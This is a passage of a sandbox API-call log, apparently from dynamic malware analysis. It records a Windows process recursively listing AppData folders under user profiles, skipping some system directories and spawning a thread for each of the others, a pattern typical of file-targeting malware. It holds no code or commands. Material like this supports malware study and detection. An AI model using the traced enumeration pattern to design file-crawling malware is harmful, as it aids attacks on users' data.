ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42fed0) returned 1 [0048.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46070) returned 1 [0048.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420cb8) returned 1 Thread: id = 344 os_tid = 0xc44 [0048.607] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x4477e8 [0048.607] wcscpy (in: _Dest=0x4477e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help" [0048.607] wcscat (in: _Dest=0x4477e8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\" [0048.607] wcscat (in: _Dest=0x4477e8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\*" [0048.607] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42fed0 [0048.607] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\*", lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409de8 [0048.607] wcscmp (_String1=".", _String2=".") returned 0 [0048.607] FindNextFileW (in: hFindFile=0x409de8, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.607] wcscmp (_String1="..", _String2=".") returned 1 [0048.607] wcscmp (_String1="..", _String2="..") returned 0 [0048.607] FindNextFileW (in: hFindFile=0x409de8, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0048.607] FindClose (in: hFindFile=0x409de8 | out: hFindFile=0x409de8) returned 1 [0048.608] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42fed0) returned 1 [0048.608] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4477e8) returned 1 [0048.608] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400c98) returned 1 Thread: id = 345 os_tid = 0xc48 [0048.609] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400c98 [0048.609] wcscpy (in: _Dest=0x400c98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore" [0048.609] wcscat (in: _Dest=0x400c98, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\" [0048.609] wcscat (in: _Dest=0x400c98, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*" [0048.609] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42fed0 [0048.609] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*", lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409de8 [0048.609] wcscmp (_String1=".", _String2=".") returned 0 [0048.609] FindNextFileW (in: hFindFile=0x409de8, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.609] wcscmp (_String1="..", _String2=".") returned 1 [0048.609] wcscmp (_String1="..", _String2="..") returned 0 [0048.609] FindNextFileW (in: hFindFile=0x409de8, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0048.609] FindClose (in: hFindFile=0x409de8 | out: hFindFile=0x409de8) returned 1 [0048.610] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42fed0) returned 1 [0048.610] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400c98) returned 1 [0048.610] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400d18) returned 1 Thread: id = 346 os_tid = 0xc4c [0048.611] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x42) returned 0x4ee018 [0048.611] wcscpy (in: _Dest=0x4ee018, _Source="C:\\Users\\Default\\AppData\\Local" | out: _Dest="C:\\Users\\Default\\AppData\\Local") returned="C:\\Users\\Default\\AppData\\Local" [0048.611] wcscat (in: _Dest=0x4ee018, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\") returned="C:\\Users\\Default\\AppData\\Local\\" [0048.611] wcscat (in: _Dest=0x4ee018, _Source="*" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\*") returned="C:\\Users\\Default\\AppData\\Local\\*" [0048.611] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42fed0 [0048.611] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\*", lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66fe9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x93e4774a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409de8 [0048.612] wcscmp (_String1=".", _String2=".") returned 0 [0048.612] FindNextFileW (in: hFindFile=0x409de8, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66fe9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x93e4774a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.612] wcscmp (_String1="..", _String2=".") returned 1 [0048.612] wcscmp (_String1="..", _String2="..") returned 0 [0048.612] FindNextFileW (in: hFindFile=0x409de8, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0048.612] wcscmp (_String1="Application Data", _String2=".") returned 1 [0048.612] wcscmp (_String1="Application Data", _String2="..") returned 1 [0048.612] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d180 [0048.612] wcscpy (in: _Dest=0x48d180, _Source="C:\\Users\\Default\\AppData\\Local" | out: _Dest="C:\\Users\\Default\\AppData\\Local") returned="C:\\Users\\Default\\AppData\\Local" [0048.612] wcscat (in: _Dest=0x48d180, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\") returned="C:\\Users\\Default\\AppData\\Local\\" [0048.612] wcscat (in: _Dest=0x48d180, _Source="Application Data" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\Application Data") returned="C:\\Users\\Default\\AppData\\Local\\Application Data" [0049.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x48d180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920 [0049.510] FindNextFileW (in: hFindFile=0x409de8, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0049.510] wcscmp (_String1="History", _String2=".") returned 1 [0049.510] wcscmp (_String1="History", _String2="..") returned 1 [0049.510] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x4144c0 [0049.510] wcscpy (in: _Dest=0x4144c0, _Source="C:\\Users\\Default\\AppData\\Local" | out: _Dest="C:\\Users\\Default\\AppData\\Local") returned="C:\\Users\\Default\\AppData\\Local" [0049.510] wcscat (in: _Dest=0x4144c0, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\") returned="C:\\Users\\Default\\AppData\\Local\\" [0049.510] wcscat (in: _Dest=0x4144c0, _Source="History" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\History") returned="C:\\Users\\Default\\AppData\\Local\\History" [0049.511] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4144c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab8 [0049.511] FindNextFileW (in: hFindFile=0x409de8, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x66b2700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xddd35f67, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0xbd7f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0049.512] wcscmp (_String1="IconCache.db", _String2=".") returned 1 [0049.512] wcscmp (_String1="IconCache.db", _String2="..") returned 1 [0049.512] FindNextFileW (in: hFindFile=0x409de8, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0049.512] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0049.512] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0049.512] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a1f0 [0049.512] wcscpy (in: _Dest=0x44a1f0, _Source="C:\\Users\\Default\\AppData\\Local" | out: _Dest="C:\\Users\\Default\\AppData\\Local") returned="C:\\Users\\Default\\AppData\\Local" [0049.512] wcscat (in: _Dest=0x44a1f0, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\") returned="C:\\Users\\Default\\AppData\\Local\\" [0049.512] wcscat (in: _Dest=0x44a1f0, _Source="Microsoft" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\Microsoft") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft" [0049.512] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a1f0) returned 1 [0049.512] FindNextFileW (in: hFindFile=0x409de8, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0049.512] wcscmp (_String1="Temp", _String2=".") returned 1 [0049.512] wcscmp (_String1="Temp", _String2="..") returned 1 [0049.512] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x445130 [0049.512] wcscpy (in: _Dest=0x445130, _Source="C:\\Users\\Default\\AppData\\Local" | out: _Dest="C:\\Users\\Default\\AppData\\Local") returned="C:\\Users\\Default\\AppData\\Local" [0049.512] wcscat (in: _Dest=0x445130, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\") returned="C:\\Users\\Default\\AppData\\Local\\" [0049.512] wcscat (in: _Dest=0x445130, _Source="Temp" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\Temp") returned="C:\\Users\\Default\\AppData\\Local\\Temp" [0049.512] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445130) returned 1 [0049.512] FindNextFileW (in: hFindFile=0x409de8, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0049.512] wcscmp (_String1="Temporary Internet Files", _String2=".") returned 1 [0049.512] wcscmp (_String1="Temporary Internet Files", _String2="..") returned 1 [0049.512] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b438 [0049.512] wcscpy (in: _Dest=0x43b438, _Source="C:\\Users\\Default\\AppData\\Local" | out: _Dest="C:\\Users\\Default\\AppData\\Local") returned="C:\\Users\\Default\\AppData\\Local" [0049.512] wcscat (in: _Dest=0x43b438, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\") returned="C:\\Users\\Default\\AppData\\Local\\" [0049.512] wcscat (in: _Dest=0x43b438, _Source="Temporary Internet Files" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files") returned="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files" [0049.512] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b438) returned 1 [0049.513] FindNextFileW (in: hFindFile=0x409de8, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0 [0049.513] FindClose (in: hFindFile=0x409de8 | out: hFindFile=0x409de8) returned 1 [0049.513] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42fed0) returned 1 [0049.513] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee018) returned 1 [0049.514] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402408) returned 1 Thread: id = 347 os_tid = 0xc50 [0048.614] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x4ee068 [0048.614] wcscpy (in: _Dest=0x4ee068, _Source="C:\\Users\\Default\\AppData\\LocalLow" | out: _Dest="C:\\Users\\Default\\AppData\\LocalLow") returned="C:\\Users\\Default\\AppData\\LocalLow" [0048.614] wcscat (in: _Dest=0x4ee068, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\LocalLow\\") returned="C:\\Users\\Default\\AppData\\LocalLow\\" [0048.614] wcscat (in: _Dest=0x4ee068, _Source="*" | out: _Dest="C:\\Users\\Default\\AppData\\LocalLow\\*") returned="C:\\Users\\Default\\AppData\\LocalLow\\*" [0048.614] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x486cc0 [0048.614] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\*", lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409d68 [0048.808] wcscmp (_String1=".", _String2=".") returned 0 [0048.808] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.808] wcscmp (_String1="..", _String2=".") returned 1 [0048.808] wcscmp (_String1="..", _String2="..") returned 0 [0048.808] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0048.808] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0048.808] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0048.808] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44a7f0 [0048.808] wcscpy (in: _Dest=0x44a7f0, _Source="C:\\Users\\Default\\AppData\\LocalLow" | out: _Dest="C:\\Users\\Default\\AppData\\LocalLow") returned="C:\\Users\\Default\\AppData\\LocalLow" [0048.808] wcscat (in: _Dest=0x44a7f0, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\LocalLow\\") returned="C:\\Users\\Default\\AppData\\LocalLow\\" [0048.808] wcscat (in: _Dest=0x44a7f0, _Source="Microsoft" | out: _Dest="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft") returned="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft" [0048.808] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a7f0) returned 1 [0048.808] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0048.808] FindClose (in: hFindFile=0x409d68 | out: hFindFile=0x409d68) returned 1 [0048.808] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x486cc0) returned 1 [0048.808] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee068) returned 1 [0048.809] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444dc0) returned 1 Thread: id = 348 os_tid = 0xc54 [0048.618] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x4ee0b8 [0048.618] wcscpy (in: _Dest=0x4ee0b8, _Source="C:\\Users\\Default\\AppData\\Roaming" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming") returned="C:\\Users\\Default\\AppData\\Roaming" [0048.618] wcscat (in: _Dest=0x4ee0b8, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\") returned="C:\\Users\\Default\\AppData\\Roaming\\" [0048.618] wcscat (in: _Dest=0x4ee0b8, _Source="*" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\*") returned="C:\\Users\\Default\\AppData\\Roaming\\*" [0048.618] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x486588 [0048.618] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\*", lpFindFileData=0x486588 | out: lpFindFileData=0x486588*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409d68 [0048.810] wcscmp (_String1=".", _String2=".") returned 0 [0048.810] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x486588 | out: lpFindFileData=0x486588*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.810] wcscmp (_String1="..", _String2=".") returned 1 [0048.810] wcscmp (_String1="..", _String2="..") returned 0 [0048.810] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x486588 | out: lpFindFileData=0x486588*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1 [0048.810] wcscmp (_String1="Identities", _String2=".") returned 1 [0048.810] wcscmp (_String1="Identities", _String2="..") returned 1 [0048.810] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44a7f0 [0048.810] wcscpy (in: _Dest=0x44a7f0, _Source="C:\\Users\\Default\\AppData\\Roaming" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming") returned="C:\\Users\\Default\\AppData\\Roaming" [0048.810] wcscat (in: _Dest=0x44a7f0, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\") returned="C:\\Users\\Default\\AppData\\Roaming\\" [0048.810] wcscat (in: _Dest=0x44a7f0, _Source="Identities" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Identities") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities" [0049.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a7f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c [0049.029] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x486588 | out: lpFindFileData=0x486588*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0049.029] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0049.030] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0049.030] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, 